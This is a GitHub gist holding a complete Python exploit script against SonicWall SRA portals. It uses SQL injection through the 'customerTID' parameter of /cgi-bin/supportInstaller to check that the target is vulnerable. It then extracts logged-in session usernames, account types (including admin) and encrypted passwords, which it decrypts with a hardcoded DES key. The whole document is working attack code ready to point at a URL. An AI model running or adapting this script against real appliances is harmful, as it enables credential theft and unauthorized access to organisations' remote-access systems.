Skip to content

Instantly share code, notes, and snippets.

@darrenmartyn
Created June 19, 2021 21:45
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save darrenmartyn/eb06e5fbc2b005a4de78ddc594bccaa7 to your computer and use it in GitHub Desktop.
Save darrenmartyn/eb06e5fbc2b005a4de78ddc594bccaa7 to your computer and use it in GitHub Desktop.
#!/usr/bin/env python3
# coding: utf-8
import argparse
from Cryptodome.Cipher import DES
import random
import re
import requests
from urllib.parse import urljoin
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
MATCH_CREDS = re.compile(r'''var\s+username\s+=\s+"([^"]+)".+var\s+portalname\s+=\s+"([\d+])".+var\s+supportcode\s+=\s+"([0-9A-F]+)"''', re.MULTILINE | re.DOTALL)
USER_TYPE = {
0: 'user',
1: 'admin',
2: 'admin (ro)',
}
def extract_one(s, url, i):
data = {
'fromEmailInvite': 1,
'customerTID': f'unpossible\' UNION SELECT 0,0,userType,userName,0,password,0,0 FROM Sessions LIMIT 1 OFFSET {i}--',
}
try:
r = s.post(url, data=data)
except requests.exceptions.RequestException as e:
print(e)
return None
if r.status_code != requests.status_codes.codes.OK:
return None
matched_creds = MATCH_CREDS.findall(r.text)
assert(len(matched_creds) == 1)
username, usertype, password = matched_creds[0]
return int(usertype), username, password
def probe(s, url):
a = random.randint(5000, 50000)
b = random.randint(5000, 50000)
data = {
'fromEmailInvite': 1,
'customerTID': f'unpossible\' UNION SELECT 0,0,0,{a}*{b},0,0,0,0--',
}
try:
r = s.post(url, data=data)
except requests.exceptions.RequestException as e:
print(e)
if str(a*b) in r.text:
return True
else:
return False
def des_decrypt(ct):
key = b'/O*\x86\xd5R\xf8\x80'
cipher = DES.new(key, DES.MODE_CBC, iv=b'\x00'*8)
return cipher.decrypt(ct)
def decrypt_hex_to_str(h):
pt = des_decrypt(bytes.fromhex(h))
return pt.rstrip(b'\x00'*8).decode()
def exploit(baseurl):
s = requests.Session()
s.verify = False
s.timeout = 3
s.headers = {
'User-Agent': 'MSIE',
}
url = urljoin(baseurl, '/cgi-bin/supportInstaller')
print("[+] Checking for sql injection vulnerability...")
vuln = probe(s, url)
if not vuln:
print("[-] Not vuln")
return
print("[+] Portal seems to be vuln!")
count = 0
for count in range(64):
res = extract_one(s, url, count)
if res is None:
break
usertype_int, username, password_enc = res
password = decrypt_hex_to_str(password_enc)
print(f'[+] {username}:{password} (type {usertype_int} ({USER_TYPE[usertype_int]}), pwd ciphertext: {password_enc})')
print(f'[*] count: {count}')
if not count:
print(f'[-] likely no users logged in right now :(')
def https_check(s):
if not s.startswith('https://'):
raise ValueError
return s
def main():
parser = argparse.ArgumentParser()
parser.add_argument('baseurl', help='https:// base url of SonicWall SRA Portal', type=https_check)
args = parser.parse_args()
exploit(args.baseurl)
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment